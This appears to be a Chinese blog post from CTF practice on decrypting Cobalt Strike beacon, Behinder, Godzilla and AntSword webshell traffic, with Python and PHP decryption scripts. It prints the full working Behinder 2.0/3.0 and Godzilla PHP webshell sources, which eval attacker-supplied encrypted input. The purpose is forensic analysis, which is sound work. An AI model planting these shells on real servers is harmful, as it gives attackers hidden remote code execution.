常见webshell流量解密分析

最近做到比较多的webshell的题目,还遇到了cs流量,感觉比较有趣,索性简单写一篇文章总结一下他们的解密方式

由于webshell类型太多,这里不具体阐述每种webshell的加密原理,相对来说网上类似解析文章不少,主要讲解一下每种流量的解密过程

感谢byxs20贡献的demo文件与部分脚本 Orz

CobalStrike流量-beacon模式

关于Cobalt Strike和其他cs组件方面的知识:Cobalt Strike | Defining Cobalt Strike Components & BEACON

流量特征

一些比较普遍但不绝对的特征点

https-beacon通信中,cs默认使用空证书建立加密通道,流量中可以看见这一过程。
在这里插入图片描述

同时在 https 协议的 Client Hello 和 Server Hello 阶段,都包含了 JA3S 值传输过程过程中会有 ja3,这个值在系统上是固定的,win10是一种的 但win11是另一种 他们取决于操作系统

image-20230910205845536

http-beacon通信中,默认使用get方法向/dpixel/__utm.gif/pixel.gif等地址发起请求

同时get读文件时cookie是一串base64的值,这是cs流量的元数据(后面解密会用)

image-20230910102724916

下发指令过程

POST /submit.php?id=一串数字

image-20230910102418488

post一串0000开头的data,这是cs流量的发送任务数据(下面也会用到)

image-20230910102854969

基于做题(不算特征):基于ctf本身,由于cs流量解密时需要RSA公私钥对,相关信息存储着.cobaltstrike.beacon_keys文件内,所以题目大概率会在流量里以各种形式给出这个文件

这个文件的本质是一个java序列化后的字节流

image-20230910103632585

关于流量解密

  1. .cobaltstrike.beacon_keys得到公私钥,主要是需要私钥

项目地址: Slzdude/cs-scripts: 研究CobaltStrike时的一些副产品 (github.com)

image-20230910113139833

  1. 通过私钥,Beacon_metadata_RSA_Decrypt.py解cs元数据(即cookie值)

项目地址: WBGlIl/CS_Decrypt (github.com)

但这里可能会遇到一些问题,这个脚本调用了M2Crypto库,但这个库已经n年没有被维护过了,安装这个库需要用到swig,windows下配了环境变量似乎也不太行

image-20230910111310507

可以放到linux里

sudo apt install libssl-dev swig
pip3 install M2Crypto

即可安装成功

可以从中解出AES keyHMAC key

image-20230910113325694

  1. 利用AES keyHMAC keyBeacon_Task_return_AES_Decrypt.py解密发送任务数据

其中任务数据这里需要做一个base64加密的操作

image-20230910111715943
成功解密返回数据
image-20230910121719389

改良了一下脚本

为了解决M2Crypto库在windows上装不好的问题,在byxs20帮助下,直接改用Crypto库去解析以及导入公私钥解密,并且把获取私钥与解密AES key和HMAC key放一起

import base64
import hexdump
import hashlib
import argparse
import javaobj.v2 as javaobj
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5


def parse_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-f", type=str, default=None, required=True,
                        help="输入JAVA序列化文件 .cobaltstrike.beacon_keys 路径")
    return parser.parse_args()

def get_RSA_PriKey(SerializeKeyPath):
    with open(SerializeKeyPath, "rb") as fd:
        pobj = javaobj.load(fd)
    privateKey = pobj.array.value.privateKey.encoded.data
    publicKey = pobj.array.value.publicKey.encoded.data

    privateKey = (
        b"-----BEGIN PRIVATE KEY-----\n"
        + base64.encodebytes(bytes(map(lambda x: x & 0xFF, privateKey)))
        + b"-----END PRIVATE KEY-----"
    )
    publicKey = (
        b"-----BEGIN PUBLIC KEY-----\n"
        + base64.encodebytes(bytes(map(lambda x: x & 0xFF, publicKey)))
        + b"-----END PUBLIC KEY-----"
    )

    privateKey = privateKey.decode()
    publicKey = publicKey.decode()
    return publicKey, privateKey

def create_PK_Cipher(privateKey):
    privateKey = RSA.import_key(privateKey.encode())
    n_bytes = privateKey.n.bit_length() // 8
    cipher = PKCS1_v1_5.new(privateKey)
    return cipher, n_bytes

def private_decrypt(cipher_text, privateKey):
    cipher, n_bytes = create_PK_Cipher(privateKey)
    cipher_text = base64.b64decode(cipher_text.encode())
    return b''.join(
        cipher.decrypt(cipher_text[i : i + n_bytes], 0)
        for i in range(0, len(cipher_text), n_bytes)
    )

def get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text):
    _, privateKey = get_RSA_PriKey(SerializeKeyPath)
    
    if not (plain_text := private_decrypt(rsa_cipher_text, privateKey)):
        print("[+]: 解密错误, 可能是RSA_Cipher_Text或者密钥有误!")
        exit(-1)
        
    raw_aes_keys = plain_text[8:24]
    raw_aes_hash256 = hashlib.sha256(raw_aes_keys)
    digest = raw_aes_hash256.digest()
    aes_key = digest[:16]
    hmac_key = digest[16:]
    return aes_key, hmac_key, plain_text

if __name__ == '__main__':
    args = parse_arguments()
    SerializeKeyPath = args.f
    
    rsa_cipher_text = "U8jm3+oqzYLuUiRd9F3s7xVz7fGnHQYIKF9ch6GRseWfcBSSk+aGhWP3ZUyHIkwRo1/oDCcKV7LYAp022rCm9bC7niOgMlsvgLRolMKIz+Eq5hCyQ0QVScH8jDYsJsCyVw1iaTf5a7gHixIDrSbTp/GiPQIwcTNZBXIJrll540s="
    aes_key, hmac_key, plain_text = get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text)
    print(f"AES key: {aes_key.hex()}")
    print(f"HMAC key: {hmac_key.hex()}")
    hexdump.hexdump(plain_text)

冰蝎流量

最常见的冰蝎php

先讲一下冰蝎2与冰蝎3,这两个相对来说比较相似

流量特征:

没什么特别强的特征

ua,content-type,content-length等等都有点弱特征

从做题本身角度来说,POST请求和返回包都是AES后的base64

image-20230910123054323

冰蝎2.0加密脚本:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
  //这里如果接收到get请求的pass参数
{
    $key=substr(md5(uniqid(rand())),16);
  //生成16位的随机秘钥用md5加密
    $_SESSION['k']=$key;
  //将上方生成的KEY存储到SEESSION中
    print $key;
}
else
  //如果没接收到pass参数,利用存储的KEY进行解密
{
    $key=$_SESSION['k'];
  //接收执行的命令
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
    //使用oppenssl进行AES128加密(这里要注意他用的AES128解密的时候也需要用这个)
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
  //将解密后的$post以'|'分割为数组。
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
  //创建C类,利用__construct中的eval来执行解密后的值
	@new C($params);
}
?>

冰蝎3.0加密脚本:

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

对比可知,整体加密逻辑基本一致,只是key略有不同,冰蝎2的key是随机生成的,冰蝎3的key是设定好的

加密逻辑整体比较简单,就是一个AES CBC然后base64

至于解密也是比较简单的,照着逻辑逆一下就行,主要需要得到key值,其中iv是全0填充

解密

请求包的解密

image-20230910123651634

里面内容再解一次base64

image-20230910123714196

解出来的数据结尾即是命令执行的部分

image-20230910124509575

返回包的解密

第一部分解密同请求包

image-20230910124537502

status是状态

image-20230910124404874

message即是命令执行的结果

image-20230910124548191

注意事项

这里有一个点,前两个请求包解出来变量content和whatever,里面部分暂不能很有效的解出明文

盲猜是冰蝎在连接时与目标机器建立一个通讯确认/读取配置文件/配置环境的过程

image-20230910123959790

image-20230910124242708

而他们对应的response返回包的message解出来的内容恰好就是content和whatever变量值

image-20230910124716580

image-20230910124733133

python解密
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

def aes_decrypt_cbc(ciphertext, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, AES.block_size)
    return plaintext

ciphertext_base64 = b'uU7xO0V/KGySO6rdSlEw/dQXFklZWZn1EMhiAAoH7WPgcZi0gqTYodGuKeZEwtv2Gw1H/AgTwH2yV+Ix3A5QEhB3qHn5V1mOdSHC5dBkMmn6niKXQvCEsFi00fJXrxuXI9KhhR14BXCxYfRnA1KDjQ=='
ciphertext = base64.b64decode(ciphertext_base64)
key = b'7d7c23e87b47368b'
iv = b'\x00' * 16  # 16 bytes of zeros

plaintext = aes_decrypt_cbc(ciphertext, key, iv)
print(plaintext)

冰蝎java

请求包的解密

跟php不同的是shell是用java写的,请求包解出来是个java的class文件,同时用的是AES ECB(但不一定绝对,试具体情况而定)

本示例中流0找到key的值和加密方式

image-20230910163633148

AES ECB解出来个class文件

image-20230910163729210

可以直接用jadx反编译,发现最下面其实就记录了具体的加密方式

image-20230910165640284

这里开头发现是做了一个echo字符串的操作

image-20230910171139669

返回包的解密

返回包部分并没有进行base64加密,是直接传raw原始数据

可以这样快速复制出指定hex

image-20230910170944654

解密结果也是msg+status(input记得改成hex)

image-20230910171042625

跟请求包的class执行结果对上了

image-20230910171239274

命令执行过程

再往后解一个包,演示一下命令执行过程

image-20230910172819172

单单看方法名也可以看出来是一些对文件夹和文件的查看、移动、创建、修改、下载操作

传入的mode和path参数就是具体命令执行的内容,应该是查看了root目录下的所有内容,类似于ls

image-20230910172710500

解一下返回包

image-20230910173020008

这里就选其中一条再具体解了一下

image-20230910173545162

总结

根据shell类型还有另外两种aspx与asp,整体做法与php如出一辙

image-20230910190428776

同时除了常见的aes,还有xor的加密方式,但相对较为简单

为防止特征点检测有时还会在数据尾部加上magic冗余,但并不影响解密

image-20230910190413213

总的来说冰蝎一般根据其加密脚本较为容易逆向解密

哥斯拉流量

哥斯拉php

以西湖论剑misc2 take_the_zip_easy为例

wp参考 2022西湖论剑-初赛CTF部分wp-Zodiac_是toto的博客-CSDN博客

特征

不考虑直接找到加密脚本外,哥斯拉最大的特征也是来自于其加密原理,返回包的数据前后十六位都是固定的哈希值

加密脚本:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

从加密脚本可以看出,哥斯拉主要就是用了一个异或加密的方式,根据其对称性其加密函数其实也是解密函数

其中pass变量的值是webshell的连接密码,也就是命令执行的变量名

image-20230910192749142

请求包的解密
<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$key='d8ea7326e6ec5916';

echo encode(base64_decode(urldecode("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")),$key);
返回包的解密

可以看到

echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);

返回包的数据前后都加了16位的冗余字节,需要做一个切片操作

直接解密会乱码,参考哥斯拉还原加密流量_ctf misc 哥斯拉流量解密脚本_VVeaker的博客-CSDN博客可以知道需要加上一个gzdecode()

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$key='d8ea7326e6ec5916';

# echo encode(base64_decode(urldecode("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")),$key);
$response = substr("ca19adef3b7a8ce7J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==b2e56eb02f8c2a4d", 16, -16);
echo gzdecode(encode(base64_decode($response),$key));
python脚本
import gzip
import base64
import urllib.parse

def encode(D, K):
	D = list(D)
	for i in range(len(D)):
		c = K[i + 1 & 15]
		D[i] = D[i] ^ c
	return bytes(D)

key = b"d8ea7326e6ec5916"

request = urllib.parse.unquote("VQAVX1xWeARbAGExOTE2EF0WFQ%3D%3D")
out = encode(base64.b64decode(request), key)
print(out)

response = "ca19adef3b7a8ce7J+5pNzMyNmU2Zqj6PzFxueQcYzczMg==b2e56eb02f8c2a4d"[16:-16]
out = encode(base64.b64decode(response), key)
print(gzip.decompress(out))
cyberchef

因为是$K[$i+1&15],所以key第一位要移到最后一位

image-20230910194359779

哥斯拉java

哥斯拉java相对来说没那么难

以[第二届陇剑杯]hard_web为例

先在http流里找到key和加密过程,也就是一个aes+gzip

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

cyberchef

image-20230910194831153

image-20230910194904174

python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gzip

def aes_decrypt_ecb(ciphertext, key):
    cipher = AES.new(key, AES.MODE_ECB)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, AES.block_size)
    return plaintext

ciphertext = bytes.fromhex("c031764499c06f1a50c1bfa873dcdb43a869c5b6ce397e5955867937420f17129fe2542ddbb28be1e391392a54f7bc27c7e037e38f620ef32805322a0194a7f0492f65fe1b2581ddc65290954b38e66b9169a521b2d8b452fc4ae0431fa4fce4a44d7ebb102bbc29b9dc584efb7230daf66b7388c4105011b2d0a113f18e9f6943b249e03a6d52eaf6168cc8408c891339e4fbc9f576f58649fce42e8a8e3610d27018837de4697a9a0dd24ad3fbb214b41dc1167ff4879e0478836bd0679f527970b39e5497f6dd2546889ab1eb00396d73df3ae61917b64b550a3bf271edd87d4cd8f7c9e6d693255e4fada4f6ec7391868401cce4f01ec6de17641be506d9298dc5d812da59607b59b1ab21b9063b47b570bbb1e2e45a249028aa5da49c31ec4a117b96f1638d9e53c3893c01870381fa17082c602f421614984506a1855809996c00599009cd6e17532ed5d2f957b86f1210e431ec86a77d953e5164a6984db0a674c50b383014371d6248e6d63210291388950f95c4e869f9accb9b16b3f0697bc1623644d3c7a7462597a4a3bddc43fe606831acdaa341def8a28eb4cced0b4c8a552674054927368625959d957093443199fa614e98147f5805498a59a6a1feb9858963ec12510024aebd4a5b923b43530bc3c33caedd0ca34b83b28d4a4934036c600d8449f3de88a4ae12a879f3b156fbe7ba5fee3cbb8c59365d417c9931f6a43a70320ce360633b50d85103e2de4539bcb87e7a5ad3bfaf09b40e667a64bdce1e85ac0c49ab6bc5e56899c9269f5e1be451deb7cc276dd2780197fdbae6631f2dab7586b8aa25a57662cbaaef13c69aeafac978327b106b81359217bb0241c8844b1c53304de71149b2694d1641aea51a05c8d21bc44ea5db1696e2acead585e20718884535efda9fae39")

key = b'748007e861908c03'

plaintext = aes_decrypt_ecb(ciphertext, key)
print(gzip.decompress(plaintext).decode("UTF-8"))

蚁剑/菜刀流量

这个相对来说是最常见的类型了,扔最后面带过一下

推荐用这个在线URL解码编码工具_蛙蛙工具 (iamwawa.cn)解url,可以按变量分开

最常见的一句话木马

image-20230910202941270

最长的一段变量解base64后是一堆固定的配置信息

image-20230910203102048

下面两个变量一个是路径一个是命令执行

image-20230910203204114

蚁剑在传输时会做简单的免杀,在base64字符串的开头加若干位的随机字符

这里删除开头的两个字符即可成功解开

具体冗余字符数不固定,需要不断尝试,且也有可能在字符串末尾加上冗余字符

image-20230910203311831

image-20230910203341525

返回包同理,首末删除若干冗余字符至成功解密即可

删除时可以考虑一下base64分组加密原理,密文一定是4的倍数

文章所涉及的demo下载地址:https://pan.baidu.com/s/1xanaXbfhrL34-yhyExo0yg?pwd=ggho

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值